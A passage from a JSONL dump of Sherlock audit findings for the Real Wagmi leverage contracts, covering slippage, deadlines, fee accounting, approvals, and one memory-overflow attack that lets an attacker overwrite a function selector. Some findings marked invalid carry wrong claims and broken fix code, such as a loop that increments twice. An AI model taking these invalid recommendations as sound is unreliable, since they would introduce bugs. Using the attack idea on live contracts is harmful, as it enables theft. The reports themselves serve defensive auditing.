);\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/016.md"}} +{"title":"No slippage protection for Uniswap V3 swaps","severity":"info","body":"Joyous Chartreuse Chipmunk\n\nmedium\n\n# No slippage protection for Uniswap V3 swaps\n## Summary\nThe `_v3SwapExactInput` function in `ApproveSwapAndPay` has fixed a fixed slipagge tolerance values(`MIN_SQRT_RATIO` and `MAX_SQRT_RATIO`) set. User can get a poor result from his swap and the transaction doesn't revert.\n\n## Vulnerability Detail\n\nContract doesn't protect users from a high slipagge when using Uniswap V3 swaps, so it can result in undesired operations being successfull , while `_patchAmountsAndCallSwap` function, that allows for arbitrary calls, allows user to customize every single parameter.\n\n```solidity\n (int256 amount0Delta, int256 amount1Delta) = IUniswapV3Pool(\n computePoolAddress(params.tokenIn, params.tokenOut, params.fee)\n ).swap(\n address(this), //recipient\n zeroForTokenIn,\n params.amountIn.toInt256(),\n (zeroForTokenIn ? MIN_SQRT_RATIO + 1 : MAX_SQRT_RATIO - 1),\n abi.encode(params.fee, params.tokenIn, params.tokenOut)\n );\n\n```\n## Impact\n\nMedium, since it can make undesired operations for users successfully.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L204\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd extra slippage protection in the function, preferrably allow to introduce arbitrary `sqrtPriceLimitX96` values for it, just like in `_patchAmountsAndCallSwap` .","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/014.md"}} +{"title":"_v3SwapExactInput() lack of the deadline parameter","severity":"info","body":"Obedient Misty Tiger\n\nmedium\n\n# _v3SwapExactInput() lack of the deadline parameter\n## Summary\n_v3SwapExactInput() lack of the deadline parameter\n## Vulnerability Detail\nWithout a deadline parameter, the transaction may sit in the mempool and be executed at a much later time potentially resulting in a worse price.\n## Impact\nPlease refer to the [Uniswap V3 doc](https://docs.uniswap.org/contracts/v3/guides/swaps/single-swaps) for the design of the \"swapExactInputSingle\" parameters.\nIncludes a deadline parameter to protect against long-pending transactions and wild swings in prices\nIn ApproveSwapAndPay.sol, when using  _v3SwapExactInput() to perform a token swap using Uniswap V3 with exact input, deadline parameter should be added to avoid transactions waiting for an extended period in the mempool before execution.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L204\n## Tool used\n\nManual Review\n\n## Recommendation\n Recommend the protocol add deadline check","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/012.md"}} +{"title":"Vulnerability in Address Check within the ``transferToken`` Function","severity":"info","body":"Savory Sable Mantis\n\nmedium\n\n# Vulnerability in Address Check within the ``transferToken`` Function\n## Summary\nIn the ``transferToken`` function of the application, there is no check to verify whether the ``_to`` address is address 0 (0x0) before conducting a fund transfer, which can potentially pose a security issue.\n\n## Vulnerability Detail\nWithin the source code, the ``transferToken`` function allows transferring funds from the ``_token`` address to the _to address if the ``_amount`` is positive. However, the function does not check the ``_to`` address before executing the transfer. If ``_to`` is the address 0 (0x0), the transaction will proceed without any validation, resulting in funds being sent to an invalid address, with no possibility of recovery.\n\n## Impact\nRisk of fund loss: This vulnerability can lead to funds being sent to an invalid address (0x0) with no possibility of recovery.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/Vault.sol#L17-L21\n\n```solidity\nfunction transferToken(address _token, address _to, uint256 _amount) external onlyOwner {\n if (_amount > 0) {\n IERC20(_token).safeTransfer(_to, _amount);\n }\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo address this vulnerability, it is recommended to perform a check on the _to address before executing the fund transfer. Here's an improved code snippet:\n\n```solidity\nfunction transferToken(address _token, address _to, uint256 _amount) external onlyOwner {\n require(_to != address(0), \"Invalid recipient address\");\n require(_amount > 0, \"Amount must be greater than 0\");\n IERC20(_token).safeTransfer(_to, _amount);\n}\n```\n\nBy adding two require statements, ensure that ``_to`` is not address 0 and that ``_amount`` is greater than 0 before executing the transfer.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/010.md"}} +{"title":"Confusing function","severity":"info","body":"Joyous Chartreuse Chipmunk\n\nmedium\n\n# Confusing function\n## Summary\nThis confusing function is more error-prone and can make the owner set the values wrong\n\n## Vulnerability Detail\nThe `updateSettings` function in `OwnerSettings` has a very confusing parameters. It uses array of 3 uint256 values that sometimes requires the first value to be a casted address, and in other cases it only uses the first value of the array, even tough you need to provide a array of 3.\n\n```solidity \nfunction updateSettings(ITEM _item, uint256[] calldata values) external onlyOwner {\n if (_item == ITEM.LIQUIDATION_BONUS_FOR_TOKEN) {\n require(values.length == 3);\n if (values[1] > Constants.MAX_LIQUIDATION_BONUS) {\n revert InvalidSettingsValue(values[1]);\n }\n if (values[2] == 0) {\n revert InvalidSettingsValue(0);\n }\n liquidationBonusForToken[address(uint160(values[0]))] = Liquidation(\n values[1],\n values[2]\n );\n } else if (_item == ITEM.DAILY_RATE_OPERATOR) {\n require(values.length == 1);\n dailyRateOperator = address(uint160(values[0]));\n } else {\n if (_item == ITEM.PLATFORM_FEES_BP) {\n require(values.length == 1);\n if (values[0] > Constants.MAX_PLATFORM_FEE) {\n revert InvalidSettingsValue(values[0]);\n }\n platformFeesBP = values[0];\n } else if (_item == ITEM.DEFAULT_LIQUIDATION_BONUS) {\n require(values.length == 1);\n if (values[0] > Constants.MAX_LIQUIDATION_BONUS) {\n revert InvalidSettingsValue(values[0]);\n }\n dafaultLiquidationBonusBP = values[0];\n }\n }\n }\n```\n\n## Impact\nMedium, since it directly affects to the settings of the protocol.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/OwnerSettings.sol#L65\n\n## Tool used\n\nManual Review\n\n## Recommendation\nUse a setter function for each of the values: `dailyRateOperator`, `platformFeesBP` ,`dafaultLiquidationBonusBP`,`liquidationBonusForToken`, and get rid of the `ITEM` struct","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/008.md"}} +{"title":"Using outdated OpenZeppelin libraries","severity":"info","body":"Joyous Chartreuse Chipmunk\n\nmedium\n\n# Using outdated OpenZeppelin libraries\n## Summary\nThe contract is using outdated contracts\n\n## Vulnerability Detail\nThe protocol uses `\"@openzeppelin/contracts\": \"4.9.3\"`, but the latest version is `5.0.0`\n\n## Impact\nLow, but should always use the latest.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/package.json#L16\n## Tool used\n\nManual Review\n\n## Recommendation\nUpdate to latest version","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/007.md"}} +{"title":"Do not use abi.encode to interact with ERC20 functions","severity":"info","body":"Joyous Chartreuse Chipmunk\n\nmedium\n\n# Do not use abi.encode to interact with ERC20 functions\n## Summary\nWrongly encoded calls are not detected by the compiler and revert at runtime.\n\n## Vulnerability Detail\nWhile sometimes the contract uses the IERC20 interface to interact with tokens, other times it does use raw call encoding. This results in a incosistent implementation. Also, all the token interactions can be done safe and efficiently with specific libraries such as Solady's SafeTransferLib\n\n```solidity \n/**\n * @dev This internal function attempts to approve a specific amount of tokens for a spender.\n * It performs a call to the `approve` function on the token contract using the provided parameters,\n * and returns a boolean indicating whether the approval was successful or not.\n * @param token The address of the token contract.\n * @param spender The address of the spender.\n * @param amount The amount of tokens to be approved.\n * @return A boolean indicating whether the approval was successful or not.\n */\n function _tryApprove(address token, address spender, uint256 amount) private returns (bool) {\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(IERC20.approve.selector, spender, amount)\n );\n return success && (data.length == 0 || abi.decode(data, (bool)));\n }\n```\n## Impact\nLow, since the code has been tested.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/package.json#L16\n## Tool used\n\nManual Review\n\n## Recommendation\nUse Solady's [SafeTransferLib](https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol)","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/006.md"}} +{"title":"ERC20 transfer return value not checked","severity":"info","body":"Joyous Chartreuse Chipmunk\n\nmedium\n\n# ERC20 transfer return value not checked\n## Summary\nERC20 `transfer` function returns a boolean, should be checked. Found in `transferToken` of `Vault`\n\n## Vulnerability Detail\nSome ERC20 tokens dont revert when `transfer` fails but they return false instead.\n\n```solidity\n /**\n * @notice Transfers tokens to a specified address\n * @param _token The address of the token to be transferred\n * @param _to The address to which the tokens will be transferred\n * @param _amount The amount of tokens to be transferred\n */\n function transferToken(address _token, address _to, uint256 _amount) external onlyOwner {\n if (_amount > 0) {\n IERC20(_token).safeTransfer(_to, _amount);\n }\n }\n\n```\n## Impact\nLow in this case, because it doesn't affect to the protocol, but it could be worse.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/Vault.sol#L17\n## Tool used\n\nManual Review\n\n## Recommendation\nAlways check the return value of the transfers and require they are true","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/005.md"}} +{"title":"Using block.timestamp as deadline is still dangerous","severity":"info","body":"Obedient Misty Tiger\n\nmedium\n\n# Using block.timestamp as deadline is still dangerous\n## Summary\nUsing block.timestamp as deadline is still dangerous\n## Vulnerability Detail\nshouldn't set the deadline to block.timestamp as a validator can hold the transaction and the block it is eventually put into will be block.timestamp, so this offers no protection.\nsimilar findings:\nhttps://code4rena.com/reports/2023-05-maia#m-20-some-functions-in-the-talos-contracts-do-not-allow-user-to-supply-slippage-and-deadline-which-may-cause-swap-revert\n## Impact\nIt may be more profitable for a miner to deny the transaction from being mined until the transaction incurs the maximum amount of slippage.\nA malicious miner can hold the transaction as deadline is set to block.timestamp which means that whenever the miner decides to include the transaction in a block, it will be valid at that time, since block.timestamp will be the current timestamp. The transaction might be left hanging in the mempool and be executed way later than the user wanted. The malicious miner can hold the transaction and execute the transaction only when he is profitable and no error would also be thrown as it will be valid at that time, since block.timestamp will be the current timestamp.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L405\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd deadline argument","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/002.md"}} +{"title":"Inadequate Validation of Token Balance Data in ``getBalances`` Function","severity":"info","body":"Savory Sable Mantis\n\nmedium\n\n# Inadequate Validation of Token Balance Data in ``getBalances`` Function\n## Summary\nThe ``getBalances`` function in the provided smart contract lacks proper validation of the token balance data returned by the ``staticcall``. This can potentially lead to security vulnerabilities and inaccurate token balance reporting.\n\n## Vulnerability Detail\nThe ``getBalances`` function iterates through an array of token addresses and uses ``staticcall`` to invoke the ``balanceOf`` function on each token contract. However, the code only checks the success of the ``staticcall`` and the length of the data returned. It does not verify the actual content of the data, making it susceptible to malicious or misbehaving token contracts.\n\n## Impact\nThe inadequate validation of token balance data can have the following security and usability impacts:\n\n- Security Risks: Malicious or misconfigured token contracts can return incorrect data, leading to security vulnerabilities or manipulation of reported token balances.\n- Inaccurate Reporting: Users relying on the ``getBalances`` function may receive incorrect balance information, affecting the integrity of their transactions and decisions.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/Vault.sol#L37\n\n```solidity\nfunction getBalances(\n address[] calldata tokens\n ) external view returns (uint256[] memory balances) {\n bytes memory callData = abi.encodeWithSelector(IERC20.balanceOf.selector, address(this));\n uint256 length = tokens.length;\n balances = new uint256[](length);\n for (uint256 i; i < length; ) {\n (bool success, bytes memory data) = tokens[i].staticcall(callData);\n require(success && data.length >= 32);\n balances[i] = abi.decode(data, (uint256));\n unchecked {\n ++i;\n }\n }\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nIt is recommended to enhance the security and accuracy of the getBalances function by performing thorough data validation. This can be achieved by implementing the following changes to the code:\n\n- Check that the staticcall is successful.\n- Verify the length of the data returned to ensure it matches the expected length for an uint256.\n- Validate the content of the data to ensure it represents a non-negative token balance.\n\n```solidity\nfunction getBalances(\n address[] calldata tokens\n) external view returns (uint256[] memory balances) {\n bytes memory callData = abi.encodeWithSelector(IERC20.balanceOf.selector, address(this));\n uint256 length = tokens.length;\n balances = new uint256[](length);\n for (uint256 i = 0; i < length; i++) {\n (bool success, bytes memory data) = tokens[i].staticcall(callData);\n require(success && data.length == 32);\n+ uint256 tokenBalance = abi.decode(data, (uint256));\n- balances[i] = abi.decode(data, (uint256));\n+ require(tokenBalance >= 0, \"Negative token balance\");\n+ balances[i] = tokenBalance;\n unchecked {\n ++i;\n }\n }\n}\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/001.md"}} +{"title":"Borrowers are overcharged fees because both `borrowing.dailyRateCollateralBalance` is decremented and `borrowing.feesOwed` is incremented","severity":"medium","body":"Big Eggshell Mink\n\nhigh\n\n# Borrowers are overcharged fees because both `borrowing.dailyRateCollateralBalance` is decremented and `borrowing.feesOwed` is incremented\n## Summary\n\nCurrently, we update the fees that a user owes in `_initOrUpdateBorrowing`. Later on, the `dailyRateCollateralBalance` is transferred to the `LiquidityBorrowingManager`, fees are transferred to the creditor from the `LiquidityBorrowingManager`, and then the remaining tokens are transferred to the borrower. However, because we both decrement `borrowing.dailyRateCollateralBalance` and increment `borrowing.feesOwed`, the borrower ends up being double charged for the fees. \n \n## Vulnerability Detail\n\nLet's say that a user has called borrow once, and then calls borrow again in `LiquidityBorrowingManager`. Then, `_initOrUpdateBorrowing` in `LiquidityBorrowingManager` is called. Let's say the position isn't underwater, so we eventually reach:\n\n```solidity\nborrowing.dailyRateCollateralBalance -= currentFees;\n```\n\nHowever, we also call `borrowing.feesOwed += currentFees;`. \n\nThen, when we go to repay, we have the following code snippet:\n\n```solidity\n(collateralBalance, currentFees) = _calculateCollateralBalance(\n borrowing.borrowedAmount,\n borrowing.accLoanRatePerSeconds,\n borrowing.dailyRateCollateralBalance,\n accLoanRatePerSeconds\n );\n\n (msg.sender != borrowing.borrower && collateralBalance >= 0).revertError(\n ErrLib.ErrorCode.INVALID_CALLER\n );\n\n // Calculate liquidation bonus and adjust fees owed\n\n if (\n collateralBalance > 0 &&\n (currentFees + borrowing.feesOwed) / Constants.COLLATERAL_BALANCE_PRECISION >\n Constants.MINIMUM_AMOUNT\n ) {\n liquidationBonus +=\n uint256(collateralBalance) /\n Constants.COLLATERAL_BALANCE_PRECISION;\n } else {\n currentFees = borrowing.dailyRateCollateralBalance;\n }\n```\n\nand:\n\n```solidity\n Vault(VAULT_ADDRESS).transferToken(\n borrowing.holdToken,\n address(this),\n borrowing.borrowedAmount + liquidationBonus\n );\n```\n\nThe TLDR here is that some adjusted version (for fees) of the `borrowing.dailyRateCollateralBalance` is added to `liquidationBonus`, and then `borrowing.borrowedAmount + liquidationBonus` is transferred to the Vault. Later, in LiquidityManager.sol, we have:\n\n```solidity\n uint256 liquidityOwnerReward = FullMath.mulDiv(\n params.totalfeesOwed,\n cache.holdTokenDebt,\n params.totalBorrowedAmount\n ) / Constants.COLLATERAL_BALANCE_PRECISION;\n\n Vault(VAULT_ADDRESS).transferToken(cache.holdToken, creditor, liquidityOwnerReward);\n```\n\nSo, an already lower amount of token (lower because `currentFees` was subtracted from `borrowing.dailyRateCollateralBalance` as we saw above) is being transferred to the vault, but then `currentFees` is transferred out again to the creditor. The borrower is therefore being charged twice for the fee. \n\n## Impact\n\nBorrower is charged twice for the fees\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L942-L947\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L548-L636\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L315\n\n## Tool used\n\nManual Review\n\n## Recommendation\nI would recommend you just keep track of the total amount of `holdToken` that's been transferred in to date by the borrower, and then send that amount back to the `Vault` when `repay` is called. The fees can then be charged on this amount and other processing can also be done on this amount.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//040-M/121-best.md"}} +{"title":"Revert on Large Approvals & Transfers","severity":"medium","body":"Colossal Tan Hyena\n\nmedium\n\n# Revert on Large Approvals & Transfers\n## Summary\nSome tokens (e.g. UNI, COMP) revert if the value passed to approve or transfer is larger than uint96.\n\n\n## Vulnerability Detail\nSome tokens (e.g. [UNI](https://etherscan.io/token/0x1f9840a85d5af5bf1d1762f925bdaddc4201f984#code), [COMP](https://etherscan.io/token/0xc00e94cb662c3520282e6f5717214004a7f26888#code)) have special case logic in approve that sets allowance to type(uint96).max .\n```solidity\nfunction approve(address spender, uint rawAmount) external returns (bool) {\n uint96 amount;\n if (rawAmount == uint(-1)) {\n amount = uint96(-1);\n } else {\n amount = safe96(rawAmount, \"Uni::approve: amount exceeds 96 bits\");\n }\n\n allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n```\nif the approval amount is type(uint256).max), which may cause issues with systems that expect the value passed to approve to be reflected in the allowances mapping.\n\n```solidity\n function _maxApproveIfNecessary(address token, address spender, uint256 amount) internal {\n if (IERC20(token).allowance(address(this), spender) < amount) {\n if (!_tryApprove(token, spender, type(uint256).max)) {\n if (!_tryApprove(token, spender, type(uint256).max - 1)) {\n require(_tryApprove(token, spender, 0));\n if (!_tryApprove(token, spender, type(uint256).max)) {\n if (!_tryApprove(token, spender, type(uint256).max - 1)) {\n true.revertError(ErrLib.ErrorCode.ERC20_APPROVE_DID_NOT_SUCCEED);\n }\n }\n }\n }\n }\n }\n\n```\n\n## Impact\n The function's multiple attempts will fail\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L91-L104\n## Tool used\n\nManual Review\n\n## Recommendation\nIt is advisable to dynamically adjust the approval amount.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//039-M/041-best.md"}} +{"title":"No check on liquidation and daily rates update while borrowing","severity":"medium","body":"Rough Pearl Wombat\n\nmedium\n\n# No check on liquidation and daily rates update while borrowing\n## Summary\n\nWhen a user calls the [`borrow()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L465) function of the LiquidityBorrowingManager contract. He expect that the `currentDailyRate` and `liquidationBonusForToken` are the same as what was displayed by the UI.\n\nBut given asynchronous nature of blockchains, an admin could update these values for the tokens the borrower is about to borrow and result in more token charged than expected.\n\n## Vulnerability Detail\n\nDuring the [`borrow()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L465) function, the token to be sent by the borrower are computed using multiple state variables that define the rates and default amounts for the tokens to borrow.\n\nThese variables can be modified by the `owner/dailyRateOperator`. While the function check the `deadline` and `maxCollateral` given by the borrower. It doesn't check that the `currentDailyRate` nor `liquidationBonusForToken` changes.\n\nIf these values are changed while the transaction is being confirmed, it could result in more tokens charged to the user than he expected.\n\n## Impact\n\nMedium. If some state parameters are changed while a borrower's transaction is being confirmed it could result in more token charged and a different daily fee than expected.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L465\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L211\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/OwnerSettings.sol#L65\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adding `maxDailyRate` and `maxLiquidationBonus` parameters and check them.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//038-M/097-best.md"}} +{"title":"Adversary can overwrite function selector in _patchAmountAndCall due to inline assembly lack of overflow protection","severity":"medium","body":"Ancient Malachite Jay\n\nhigh\n\n# Adversary can overwrite function selector in _patchAmountAndCall due to inline assembly lack of overflow protection\n## Summary\n\nWhen using inline assembly, the standard [overflow/underflow protections do not apply](https://faizannehal.medium.com/how-solidity-0-8-protect-against-integer-underflow-overflow-and-how-they-can-still-happen-7be22c4ab92f). This allows an adversary to specify a swapAmountInDataIndex which after multiplication and addition allows them to overwrite the function selector. Using a created token in a UniV3 LP pair they can manufacture any value for swapAmountInDataValue.\n\n## Vulnerability Detail\n\n```The use of YUL or inline assembly in a solidity smart contract also makes integer overflow/ underflow possible even if the compiler version of solidity is 0.8. In YUL programming language, integer underflow & overflow is possible in the same way as Solidity and it does not check automatically for it as YUL is a low-level language that is mostly used for making the code more optimized, which does this by omitting many opcodes. Because of its low-level nature, YUL does not perform many security checks therefore it is recommended to use as little of it as possible in your smart contracts.``` \n\n[Source](https://faizannehal.medium.com/how-solidity-0-8-protect-against-integer-underflow-overflow-and-how-they-can-still-happen-7be22c4ab92f)\n\nInline assembly lacks overflow/underflow protections, which opens the possibility of this exploit.\n\n[ExternalCall.sol#L27-L38](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/libraries/ExternalCall.sol#L27-L38)\n\n if gt(swapAmountInDataValue, 0) {\n mstore(add(add(ptr, 0x24), mul(swapAmountInDataIndex, 0x20)), swapAmountInDataValue)\n }\n success := call(\n maxGas,\n target,\n 0, //value\n ptr, //Inputs are stored at location ptr\n data.length,\n 0,\n 0\n )\n\nIn the code above we see that `swapAmountInDataValue` is stored at `ptr + 36 (0x24) + swapAmountInDataIndex * 32 (0x20)`. The addition of 36 (0x24) in this scenario should prevent the function selector from being overwritten because of the extra 4 bytes (using 36 instead of 32). This is not the case though because `mul(swapAmountInDataIndex, 0x20)` can overflow since it is a uint256. This allows the attacker to target any part of the memory they choose by selectively overflowing to make it write to the desired position.\n\nAs shown above, overwriting the function selector is possible although most of the time this value would be a complete nonsense since swapAmountInDataValue is calculated elsewhere and isn't user supplied. This also has a work around. By creating their own token and adding it as LP to a UniV3 pool, swapAmountInDataValue can be carefully manipulated to any value. This allows the attacker to selectively overwrite the function selector with any value they chose. This bypasses function selectors restrictions and opens calls to dangerous functions. \n\n## Impact\n\nAttacker can bypass function restrictions and call dangerous/unintended functions\n\n## Code Snippet\n\n[ExternalCall.sol#L14-L47](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/libraries/ExternalCall.sol#L14-L47)\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nLimit `swapAmountInDataIndex` to a reasonable value such as uint128.max, preventing any overflow.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//037-M/082-best.md"}} +{"title":"\"zeroForSaleToken\" variable is incorrect calculated, fixing the sale direction of every pair","severity":"medium","body":"Raspy Beige Aphid\n\nhigh\n\n# \"zeroForSaleToken\" variable is incorrect calculated, fixing the sale direction of every pair\n## Summary\n`zeroForSaleToken` is a boolean value used in UniswapV3 that provides the direction of the swap. If true, it means you are selling token0 for token1. If false, it means you are selling token1 for token0. However, in `LiquidityBorrowingManager.sol`, the `zeroForSaleToken` direction is decided based on which token address is a higher value (`bool zeroForSaleToken = params.saleToken < params.holdToken;`), which makes the direction point to an address with higher hex value, so some pair swaps will always have the same direction, making that you can just borrow token0 for token1, but never token1 for token0 in these pairs.\n\n## Vulnerability Detail\n1. In `LiquidityBorrowingManager.sol`, you input the struct `BorrowParams` in the method `borrow`. After that, the subcall `_precalculateBorrowing` is called. The subcall snippet:\n```solidity\n function _precalculateBorrowing(\n BorrowParams calldata params\n ) private returns (BorrowCache memory cache) {\n {\n bool zeroForSaleToken = params.saleToken < params.holdToken;\n// more code below\n```\n2. The line `bool zeroForSaleToken = params.saleToken < params.holdToken;` compares params.saleToken to params.holdToken from a `BorrowParams` struct. Let's see what are they in the `BorrowParams`:\n```solidity\n struct BorrowParams {\n /// @notice The pool fee level for the internal swap\n uint24 internalSwapPoolfee;\n /// @notice The address of the token that will be sold to obtain the loan currency\n address saleToken;\n /// @notice The address of the token that will be held\n address holdToken;\n /// @notice The minimum amount of holdToken that must be obtained\n uint256 minHoldTokenOut;\n /// @notice The maximum amount of collateral that can be provided for the loan\n uint256 maxCollateral;\n /// @notice The SwapParams struct representing the external swap parameters\n SwapParams externalSwap;\n /// @notice An array of LoanInfo structs representing multiple loans\n LoanInfo[] loans;\n }\n```\n3. It's visible that `saleToken` and `holdToken` are both addresses. So, the direction of the swap is calculated by which address hexadecimal is higher, which it's not intended by the protocol or UniswapV3.\n\n4. After in `_precalculateBorrowing`, the inherited method `_extractLiquidity` from `LiquidityManager.sol` is called and the `zeroForSaleToken` is one of the inputs. The snippet:\n```solidity\n function _extractLiquidity(\n bool zeroForSaleToken,\n address token0,\n address token1,\n LoanInfo[] memory loans\n ) internal returns (uint256 borrowedAmount) {\n if (!zeroForSaleToken) {\n (token0, token1) = (token1, token0);\n }\n\n for (uint256 i; i < loans.length; ) {\n uint256 tokenId = loans[i].tokenId;\n uint128 liquidity = loans[i].liquidity;\n // Extract position-related details\n {\n int24 tickLower;\n int24 tickUpper;\n uint128 posLiquidity;\n {\n address operator;\n address posToken0;\n address posToken1;\n\n (\n ,\n operator,\n posToken0,\n posToken1,\n ,\n tickLower,\n tickUpper,\n posLiquidity,\n ,\n ,\n ,\n\n ) = underlyingPositionManager.positions(tokenId);\n // Check operator approval\n if (operator != address(this)) {\n revert NotApproved(tokenId);\n }\n // Check token validity\n if (posToken0 != token0 || posToken1 != token1) {\n revert InvalidTokens(tokenId);\n }\n }\n // Check borrowed liquidity validity\n if (!(liquidity > 0 && liquidity <= posLiquidity)) {\n revert InvalidBorrowedLiquidity(tokenId);\n }\n // Calculate borrowed amount\n borrowedAmount += _getSingleSideRoundUpBorrowedAmount(\n zeroForSaleToken,\n tickLower,\n tickUpper,\n liquidity\n );\n }\n // Decrease liquidity and move to the next loan\n _decreaseLiquidity(tokenId, liquidity);\n\n unchecked {\n ++i;\n }\n }\n }\n```\nIt's visible that the protocol uses `zeroForSaleToken` as a way to decide which is the token for sale in the first lines. However, as this boolean is not calculated correctly, some pairs have a fixed direction (tokenX -> tokenY) based on which address has a higher value, so not respecting this buggy direction can make the transaction revert (swapping the holdToken for the saleToken) or executing wrong swaps.\n\n## Impact\nBased on which token address of the pair is higher, some pairs will have a fixed direction of which token should be for sale and which token is not. As this is not intended, some pairs will be only possible to borrow token0 for token1 and never token1 for token0, which is a high severity denial of service that makes transactions reverts and the protocol to not work as intended.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L837\n```solidity\n function _precalculateBorrowing(\n BorrowParams calldata params\n ) private returns (BorrowCache memory cache) {\n {\n bool zeroForSaleToken = params.saleToken < params.holdToken;\n```\n\n## Tool used\nManual Review\n\n## Recommendation\nAllow user to choose the direction or correctly calculate it comparing the amount of assets in eth, not the addresses.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//036-M/149-best.md"}} 